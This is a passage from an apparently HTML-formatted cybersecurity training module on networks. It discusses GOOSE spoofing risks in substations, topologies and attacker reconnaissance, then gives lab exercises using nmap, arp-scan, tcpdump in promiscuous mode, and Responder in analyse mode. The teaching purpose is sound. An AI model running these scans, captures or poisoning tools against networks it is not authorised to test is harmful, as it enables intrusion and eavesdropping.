    try: print(s.recvfrom(1024)[0].decode())
    except: break
"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;IEC 61850 GOOSE — OT Attack Surface:&lt;/strong&gt;&lt;br&gt;
GOOSE messages carry protection relay signals in electrical substations. They use multicast with no authentication in the basic standard. An attacker on the substation LAN can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Inject spoofed GOOSE messages to trigger protection relay operations&lt;/li&gt;
&lt;li&gt;Suppress legitimate GOOSE messages (blocking relay operation during a fault)&lt;/li&gt;
&lt;li&gt;Replay captured GOOSE messages&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is a real, demonstrated attack capability against electrical infrastructure. Stuxnet-era research showed that substation LAN access combined with GOOSE injection could cause breaker misoperation.&lt;/p&gt;
&lt;h3&gt;
  
  
  7.5 Anycast — One to Nearest (Bonus Topic)
&lt;/h3&gt;

&lt;p&gt;Anycast is a routing technique where the same IP address is announced from multiple physical locations. Traffic is routed to the topologically nearest instance.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Same IP: 1.1.1.1 (Cloudflare DNS)
Announcement from: London, Frankfurt, New York, Singapore, São Paulo...
Your packet always routes to the nearest one automatically

Benefits:
- Automatic geographic load balancing
- DDoS resilience (attack traffic is distributed across all anycast nodes)
- Reduced latency (nearest node serves you)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Anycast is how major DNS providers (Cloudflare 1.1.1.1, Google 8.8.8.8), CDNs, and DDoS mitigation services work at global scale. Understanding anycast explains why a DDoS against 1.1.1.1 is much harder than DDoS against a single-server DNS — you would have to simultaneously overwhelm hundreds of geographically distributed nodes.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Network Topologies and Their Security Implications
&lt;/h2&gt;

&lt;p&gt;This section is not in the original module outline but is essential for security professionals — network topology directly determines attack paths, blast radius of a compromise, and the effectiveness of security controls.&lt;/p&gt;

&lt;h3&gt;
  
  
  8.1 Physical vs Logical Topology
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Physical topology:&lt;/strong&gt; How devices are physically connected — cables, switches, their physical locations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Logical topology:&lt;/strong&gt; How data flows — the paths packets actually take, which may differ from physical connections (VLANs create logical separation on the same physical infrastructure).&lt;/p&gt;

&lt;p&gt;Security operates primarily at the logical topology level — VLANs, routing policies, and firewall rules shape logical topology. But physical topology matters too — an attacker with physical access to a network cable or switch port can bypass all logical security controls.&lt;/p&gt;

&lt;h3&gt;
  
  
  8.2 Common Topologies and Their Security Profiles
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Star Topology (Dominant in modern LANs):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;        [Switch]
       /   |   \
  [PC1] [PC2] [PC3]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All devices connect to a central switch. The switch is a critical point of failure and control. Compromise the switch → control all traffic. Most enterprise LANs use hierarchical star (access → distribution → core).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bus Topology (Historical, still relevant in OT):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[PC1]---[PC2]---[PC3]---[PC4]
         (shared medium)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All devices share a single communication medium. Any device can hear all traffic. Collision domains. This topology is still used in some industrial fieldbus systems (Modbus RTU on RS-485, CAN bus in automotive/industrial). A single compromised device can disrupt all communication.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ring Topology (Industrial networks):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[PLC1] → [PLC2] → [Switch] → [HMI]
  ↑                              ↓
[IED] ← [Relay] ← [RTU] ← [Historian]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;PROFIBUS, some IEC 61850 implementations, and industrial Ethernet with ring redundancy (RSTP/MRP) use ring topologies. Ring networks have high availability (two paths), but ring protocols (like RSTP) have been attacked — STP attacks can force topology recalculation and cause temporary outages.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mesh Topology (WAN, Wi-Fi mesh):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[A] ←→ [B]
 ↕  ✕   ↕
[C] ←→ [D]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every node connects to multiple others. Extremely redundant. The internet uses a form of mesh topology at the WAN level. Wi-Fi mesh networks use this for coverage. Hard to completely sever connectivity but provides multiple attack paths.&lt;/p&gt;




&lt;h2&gt;
  
  
  9. The Security Mindset on Networks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 Every Network Is Hostile Until Proven Otherwise
&lt;/h3&gt;

&lt;p&gt;The security principle underlying modern network design: &lt;strong&gt;assume compromise&lt;/strong&gt;. A device on the network might be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;An attacker's laptop they physically plugged in&lt;/li&gt;
&lt;li&gt;A legitimate device that has been compromised by malware&lt;/li&gt;
&lt;li&gt;A legitimate device being used maliciously by an insider&lt;/li&gt;
&lt;li&gt;A legitimate device with misconfigured settings&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Network security controls must function correctly even when some network participants are actively adversarial. This is the foundation of the Zero Trust model.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.2 The Network Knows Everything
&lt;/h3&gt;

&lt;p&gt;Every packet that crosses a network is a piece of evidence. Network forensics — capturing and analysing network traffic — can reconstruct:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What sites a user visited (from DNS queries and HTTP traffic)&lt;/li&gt;
&lt;li&gt;What files were transferred (from FTP, SMB, HTTP traffic)&lt;/li&gt;
&lt;li&gt;What commands were executed (from SSH session data, RDP session data)&lt;/li&gt;
&lt;li&gt;What credentials were used (from Kerberos tickets, NTLM challenges, plaintext protocols)&lt;/li&gt;
&lt;li&gt;What malware was present (from C2 beaconing patterns, known malware signatures)&lt;/li&gt;
&lt;li&gt;The timeline of an attack (from connection timestamps)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;This works for defenders reading attacker traffic. It also works for attackers reading network traffic on a network they have access to.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  9.3 The Core Attacker's Perspective on Networks
&lt;/h3&gt;

&lt;p&gt;When an attacker gains a foothold on a network (initial access), their first questions are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What network am I on? What is the subnet? (IP address, subnet mask)&lt;/li&gt;
&lt;li&gt;What else is on this network? (ARP table, ping sweep, port scan)&lt;/li&gt;
&lt;li&gt;Where does this network connect to? (Default gateway, routing table)&lt;/li&gt;
&lt;li&gt;What services are running? (Port scan of discovered hosts)&lt;/li&gt;
&lt;li&gt;Can I reach other network segments? (Route table, probing other subnets)&lt;/li&gt;
&lt;li&gt;Is traffic being monitored? (IDS/IPS detection, response time to connection attempts)&lt;/li&gt;
&lt;li&gt;What protocols are in use? (Passive traffic analysis)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each of these questions maps directly to network concepts. Understanding networks from first principles means you can think through both sides of this — what the attacker sees and how to detect it.&lt;/p&gt;




&lt;h2&gt;
  
  
  10. Hands-On Exercises
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Exercise 1: Map Your Network (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On your Kali VM:&lt;/span&gt;

&lt;span class="c"&gt;# 1. Determine your current network configuration&lt;/span&gt;
ip addr                              &lt;span class="c"&gt;# Your IP and subnet&lt;/span&gt;
ip route                             &lt;span class="c"&gt;# Default gateway and routing table&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/resolv.conf                 &lt;span class="c"&gt;# DNS servers&lt;/span&gt;

&lt;span class="c"&gt;# 2. Identify your broadcast domain&lt;/span&gt;
&lt;span class="c"&gt;# If you are 192.168.1.50/24, your network is 192.168.1.0/24&lt;/span&gt;
&lt;span class="c"&gt;# Broadcast is 192.168.1.255&lt;/span&gt;

&lt;span class="c"&gt;# 3. Discover live hosts (ARP-based, Layer 2, no firewall evasion needed for local)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arp-scan &lt;span class="nt"&gt;--localnet&lt;/span&gt;
&lt;span class="c"&gt;# Or:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; 192.168.1.0/24        &lt;span class="c"&gt;# Ping scan of entire subnet&lt;/span&gt;
&lt;span class="c"&gt;# Record: how many hosts? What IPs?&lt;/span&gt;

&lt;span class="c"&gt;# 4. Check ARP cache — who has communicated recently?&lt;/span&gt;
arp &lt;span class="nt"&gt;-a&lt;/span&gt;
ip neigh show

&lt;span class="c"&gt;# 5. Measure latency to various destinations&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 5 192.168.1.1               &lt;span class="c"&gt;# Your gateway&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 5 8.8.8.8                   &lt;span class="c"&gt;# Google DNS (measure internet latency)&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 5 1.1.1.1                   &lt;span class="c"&gt;# Cloudflare DNS&lt;/span&gt;

&lt;span class="c"&gt;# 6. Trace the path to a destination&lt;/span&gt;
traceroute &lt;span class="nt"&gt;-n&lt;/span&gt; 8.8.8.8               &lt;span class="c"&gt;# Map the route&lt;/span&gt;
&lt;span class="c"&gt;# Count hops, note where latency jumps — that jump indicates a geographic boundary&lt;/span&gt;

&lt;span class="c"&gt;# 7. Capture raw traffic with tcpdump&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-c&lt;/span&gt; 50 &lt;span class="nt"&gt;-n&lt;/span&gt;       &lt;span class="c"&gt;# Capture 50 packets, no DNS resolution&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 broadcast      &lt;span class="c"&gt;# Only broadcast traffic&lt;/span&gt;
&lt;span class="c"&gt;# Observe: what protocols are using broadcast?&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 2: Broadcast Traffic Analysis (45 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Capture and analyse broadcast traffic to understand what your network reveals&lt;/span&gt;

&lt;span class="c"&gt;# 1. Capture all broadcast traffic for 60 seconds&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/broadcast.pcap &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="s1"&gt;'ether dst ff:ff:ff:ff:ff:ff or ip dst 255.255.255.255'&lt;/span&gt; &amp;amp;
&lt;span class="nb"&gt;sleep &lt;/span&gt;60
&lt;span class="nb"&gt;kill&lt;/span&gt; %1

&lt;span class="c"&gt;# 2. Analyse in Wireshark&lt;/span&gt;
wireshark /tmp/broadcast.pcap

&lt;span class="c"&gt;# Questions to answer:&lt;/span&gt;
&lt;span class="c"&gt;# - What protocols are using broadcast?&lt;/span&gt;
&lt;span class="c"&gt;# - What device information is revealed by the broadcasts?&lt;/span&gt;
&lt;span class="c"&gt;# - Can you identify device types from MAC OUIs?&lt;/span&gt;
&lt;span class="c"&gt;# - What LLMNR/mDNS queries are visible (if any)?&lt;/span&gt;
&lt;span class="c"&gt;# - What ARP traffic do you see?&lt;/span&gt;

&lt;span class="c"&gt;# 3. Run Responder in analyse mode (no poisoning — observe only)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;responder &lt;span class="nt"&gt;-I&lt;/span&gt; eth0 &lt;span class="nt"&gt;-A&lt;/span&gt;           &lt;span class="c"&gt;# -A = analyse mode only, no responses&lt;/span&gt;
&lt;span class="c"&gt;# What name resolution broadcasts appear?&lt;/span&gt;
&lt;span class="c"&gt;# This shows you what Responder would capture in an active attack&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 3: Packet Structure Deep Dive (1 hour)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Capture and manually dissect packets to understand encapsulation&lt;/span&gt;

&lt;span class="c"&gt;# 1. Capture HTTP traffic&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/http.pcap port 80

&lt;span class="c"&gt;# In another terminal, generate HTTP traffic:&lt;/span&gt;
curl http://neverssl.com

&lt;span class="c"&gt;# 2. Open in Wireshark and examine:&lt;/span&gt;
wireshark /tmp/http.pcap

&lt;span class="c"&gt;# For each packet, expand every layer:&lt;/span&gt;
&lt;span class="c"&gt;# - Ethernet II header: source/dest MAC, EtherType&lt;/span&gt;
&lt;span class="c"&gt;# - IPv4 header: source/dest IP, TTL, Protocol, fragmentation fields&lt;/span&gt;
&lt;span class="c"&gt;# - TCP header: source/dest port, sequence/ack numbers, flags, window size&lt;/span&gt;
&lt;span class="c"&gt;# - HTTP: method, URI, headers, body&lt;/span&gt;

&lt;span class="c"&gt;# 3. Find the TCP handshake (SYN, SYN-ACK, ACK)&lt;/span&gt;
&lt;span class="c"&gt;# Right-click → Follow → TCP Stream to see the entire conversation&lt;/span&gt;

&lt;span class="c"&gt;# 4. Check the TTL to fingerprint the remote OS&lt;/span&gt;
&lt;span class="c"&gt;# Filter: ip.dst == your_ip&lt;/span&gt;
&lt;span class="c"&gt;# Look at TTL of incoming packets — 64=Linux/Mac, 128=Windows, 255=Cisco&lt;/span&gt;

&lt;span class="c"&gt;# 5. Capture ICMP (ping) and observe packet structure&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 3 8.8.8.8 &amp;amp;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-w&lt;/span&gt; /tmp/icmp.pcap icmp
wireshark /tmp/icmp.pcap
&lt;span class="c"&gt;# Observe ICMP echo request vs echo reply, sequence numbers, TTL&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 4: Bandwidth and Latency Measurement (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Measure actual network performance metrics&lt;/span&gt;

&lt;span class="c"&gt;# 1. Latency + jitter measurement&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 100 8.8.8.8
&lt;span class="c"&gt;# From the summary line, note: min/avg/max/stddev&lt;/span&gt;
&lt;span class="c"&gt;# stddev IS jitter — how variable is the latency?&lt;/span&gt;

&lt;span class="c"&gt;# Compare:&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 100 &lt;span class="si"&gt;$(&lt;/span&gt;ip route | &lt;span class="nb"&gt;grep &lt;/span&gt;default | &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $3}'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;  &lt;span class="c"&gt;# Gateway (LAN)&lt;/span&gt;
ping &lt;span class="nt"&gt;-c&lt;/span&gt; 100 8.8.8.8                                          &lt;span class="c"&gt;# Internet&lt;/span&gt;

&lt;span class="c"&gt;# 2. Path latency analysis with traceroute&lt;/span&gt;
mtr 8.8.8.8                         &lt;span class="c"&gt;# Interactive traceroute with statistics&lt;/span&gt;
&lt;span class="c"&gt;# Run for 30 seconds, observe:&lt;/span&gt;
&lt;span class="c"&gt;# - Where does latency jump? (Geographic or ISP boundary)&lt;/span&gt;
&lt;span class="c"&gt;# - Where is packet loss? (Overloaded router)&lt;/span&gt;
&lt;span class="c"&gt;# - How consistent is each hop? (Jitter per hop)&lt;/span&gt;

&lt;span class="c"&gt;# 3. Bandwidth test (if iperf3 server available)&lt;/span&gt;
&lt;span class="c"&gt;# Run your own: on any Linux machine you can SSH into:&lt;/span&gt;
iperf3 &lt;span class="nt"&gt;-s&lt;/span&gt;                            &lt;span class="c"&gt;# Start server&lt;/span&gt;
&lt;span class="c"&gt;# On client:&lt;/span&gt;
iperf3 &lt;span class="nt"&gt;-c&lt;/span&gt; server_ip                  &lt;span class="c"&gt;# Test TCP throughput&lt;/span&gt;
iperf3 &lt;span class="nt"&gt;-c&lt;/span&gt; server_ip &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; 0         &lt;span class="c"&gt;# Test UDP (unlimited — shows max)&lt;/span&gt;
iperf3 &lt;span class="nt"&gt;-c&lt;/span&gt; server_ip &lt;span class="nt"&gt;--bidir&lt;/span&gt;         &lt;span class="c"&gt;# Bidirectional test&lt;/span&gt;

&lt;span class="c"&gt;# 4. Python jitter measurement script&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;PYTHON&lt;/span&gt;&lt;span class="sh"&gt;'
import subprocess, re, statistics

def measure_ping(host, count=20):
    result = subprocess.run(
        ['ping', '-c', str(count), host],
        capture_output=True, text=True
    )
    times = re.findall(r'time=(&lt;/span&gt;&lt;span class="se"&gt;\d&lt;/span&gt;&lt;span class="sh"&gt;+&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="sh"&gt;?&lt;/span&gt;&lt;span class="se"&gt;\d&lt;/span&gt;&lt;span class="sh"&gt;*)', result.stdout)
    times = [float(t) for t in times]
    if times:
        print(f"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;Target: {host}")
        print(f"Packets: {len(times)}")
        print(f"Min: {min(times):.2f}ms")
        print(f"Max: {max(times):.2f}ms")
        print(f"Avg: {statistics.mean(times):.2f}ms")
        print(f"Jitter (stddev): {statistics.stdev(times):.2f}ms")

measure_ping("192.168.1.1")   # Gateway
measure_ping("8.8.8.8")       # Internet
&lt;/span&gt;&lt;span class="no"&gt;PYTHON
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Exercise 5: Unicast vs Broadcast Capture (30 minutes)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# See the difference between unicast and broadcast at the packet level&lt;/span&gt;

&lt;span class="c"&gt;# 1. Capture broadcast traffic&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s1"&gt;'ether dst ff:ff:ff:ff:ff:ff'&lt;/span&gt;
&lt;span class="c"&gt;# -e = show link-level (Ethernet) headers including MAC addresses&lt;/span&gt;
&lt;span class="c"&gt;# Observe: what protocols send to ff:ff:ff:ff:ff:ff?&lt;/span&gt;

&lt;span class="c"&gt;# 2. Trigger an ARP broadcast manually&lt;/span&gt;
&lt;span class="c"&gt;# In another terminal:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arping &lt;span class="nt"&gt;-I&lt;/span&gt; eth0 &lt;span class="nt"&gt;-c&lt;/span&gt; 3 192.168.1.1
&lt;span class="c"&gt;# Back in tcpdump: observe the ARP who-has broadcast&lt;/span&gt;

&lt;span class="c"&gt;# 3. Observe multicast traffic&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s1"&gt;'ether dst 01:00:5e:00:00:00/ff:ff:ff:00:00:00'&lt;/span&gt;
&lt;span class="c"&gt;# This filter captures all IPv4 multicast (starts with 01:00:5e)&lt;/span&gt;
&lt;span class="c"&gt;# What do you see? mDNS? OSPF? SSDP?&lt;/span&gt;

&lt;span class="c"&gt;# 4. Set NIC to promiscuous mode and observe all traffic&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip &lt;span class="nb"&gt;link set &lt;/span&gt;eth0 promisc on
&lt;span class="nb"&gt;sudo &lt;/span&gt;tcpdump &lt;span class="nt"&gt;-i&lt;/span&gt; eth0 &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 100  &lt;span class="c"&gt;# Capture 100 frames in promisc mode&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip &lt;span class="nb"&gt;link set &lt;/span&gt;eth0 promisc off  &lt;span class="c"&gt;# Turn off after exercise&lt;/span&gt;
&lt;span class="c"&gt;# Observe: are you seeing traffic not addressed to your MAC?&lt;/span&gt;
&lt;span class="c"&gt;# (On a switched network, probably not — switches only send relevant traffic)&lt;/span&gt;
&lt;span class="c"&gt;# On Wi-Fi in monitor mode, you would see all traffic&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  11. Further Reading and Resources
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Foundational Papers and RFCs
&lt;/h3&gt;

&lt;p&gt;These are primary sources — the actual specifications that define how these technologies work. Security professionals read RFCs because the attack surface often exists in edge cases of the specification.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;RFC 791&lt;/strong&gt; — Internet Protocol (IPv4). The original IP specification. Sections on fragmentation are particularly relevant.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RFC 826&lt;/strong&gt; — ARP. Remarkably short — read it completely. Understanding the simplicity of ARP makes ARP poisoning obvious.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RFC 1918&lt;/strong&gt; — Address Allocation for Private Internets. Defines 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RFC 4271&lt;/strong&gt; — BGP-4. Understanding BGP is essential for understanding internet-scale routing vulnerabilities.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RFC 4443&lt;/strong&gt; — ICMPv6. Understanding ICMP is essential for understanding ping flood, redirect, and other ICMP-based attacks.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Books
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;"Computer Networks" — Andrew Tanenbaum.&lt;/strong&gt; The gold standard textbook. Dense but complete. Every network professional should read chapters 1-4.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Network Security Assessment" — Chris McNab (O'Reilly).&lt;/strong&gt; Directly applicable to security assessments. Third edition covers modern techniques.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"The Practice of Network Security Monitoring" — Richard Bejtlich.&lt;/strong&gt; How to build a network security monitoring programme using open-source tools. Practical and excellent.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Silence on the Wire" — Michal Zalewski.&lt;/strong&gt; A unique perspective on network security — passive eavesdropping, timing attacks, and the information leaked by network traffic. Essential reading.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Tools to Install and Master
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# These are the core network analysis tools for this stage&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    wireshark &lt;span class="se"&gt;\ &lt;/span&gt;         &lt;span class="c"&gt;# GUI packet analyser — the primary tool&lt;/span&gt;
    tshark &lt;span class="se"&gt;\ &lt;/span&gt;            &lt;span class="c"&gt;# Command-line Wireshark&lt;/span&gt;
    tcpdump &lt;span class="se"&gt;\ &lt;/span&gt;           &lt;span class="c"&gt;# CLI packet capture — lighter than Wireshark&lt;/span&gt;
    nmap &lt;span class="se"&gt;\ &lt;/span&gt;              &lt;span class="c"&gt;# Network mapper — port scanning, OS detection&lt;/span&gt;
    netcat &lt;span class="se"&gt;\ &lt;/span&gt;            &lt;span class="c"&gt;# Network Swiss Army knife (nc)&lt;/span&gt;
    iperf3 &lt;span class="se"&gt;\ &lt;/span&gt;            &lt;span class="c"&gt;# Bandwidth measurement&lt;/span&gt;
    mtr &lt;span class="se"&gt;\ &lt;/span&gt;               &lt;span class="c"&gt;# Enhanced traceroute with statistics&lt;/span&gt;
    arp-scan &lt;span class="se"&gt;\ &lt;/span&gt;          &lt;span class="c"&gt;# ARP-based host discovery&lt;/span&gt;
    netdiscover &lt;span class="se"&gt;\ &lt;/span&gt;       &lt;span class="c"&gt;# Passive network discovery&lt;/span&gt;
    responder &lt;span class="se"&gt;\ &lt;/span&gt;         &lt;span class="c"&gt;# LLMNR/NBT-NS poisoner (Kali includes this)&lt;/span&gt;
    wireshark-doc        &lt;span class="c"&gt;# Wireshark documentation&lt;/span&gt;

&lt;span class="c"&gt;# Python libraries for network work&lt;/span&gt;
pip3 &lt;span class="nb"&gt;install &lt;/span&gt;scapy       &lt;span class="c"&gt;# Packet crafting and analysis — the key Python network library&lt;/span&gt;
pip3 &lt;span class="nb"&gt;install &lt;/span&gt;dpkt        &lt;span class="c"&gt;# Fast packet parsing&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Online Resources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Wireshark sample captures&lt;/strong&gt; — wiki.wireshark.org/SampleCaptures — practice packet analysis with real-world captures of every protocol&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PacketLife.net cheat sheets&lt;/strong&gt; — protocol header reference cards, excellent for quick lookup&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IANA Protocol Registry&lt;/strong&gt; — iana.org — authoritative source for protocol numbers, port assignments&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shodan.io&lt;/strong&gt; — search engine for internet-connected devices — gives you a real sense of what is exposed on the internet&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;BGP Hurricane Electric&lt;/strong&gt; — bgp.he.net — visualise BGP routing, autonomous system information&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Cloudflare Blog&lt;/strong&gt; — blog.cloudflare.com — high-quality technical articles on network attacks, DDoS, BGP, DNS&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Practice Platforms
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;TryHackMe — "Pre-Security" path&lt;/strong&gt; — covers networking fundamentals interactively&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wireshark Challenges&lt;/strong&gt; — on CyberDefenders.org and other blue team platforms&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PacketCafe&lt;/strong&gt; — cloud-based packet analysis practice&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CTFtime.org — "network" category&lt;/strong&gt; — real CTF challenges involving packet analysis&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Module Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Concept&lt;/th&gt;
&lt;th&gt;Security Application&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Network fundamentals&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Why networks are the attack surface and the evidence trail&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PAN (Bluetooth/NFC/Zigbee)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;BlueBorne, NFC relay, Zigbee key capture — proximity attacks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LAN&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Primary attack environment — ARP poisoning, MITM, lateral movement, AD attacks&lt;/td&gt;
&lt;/tr&gt;
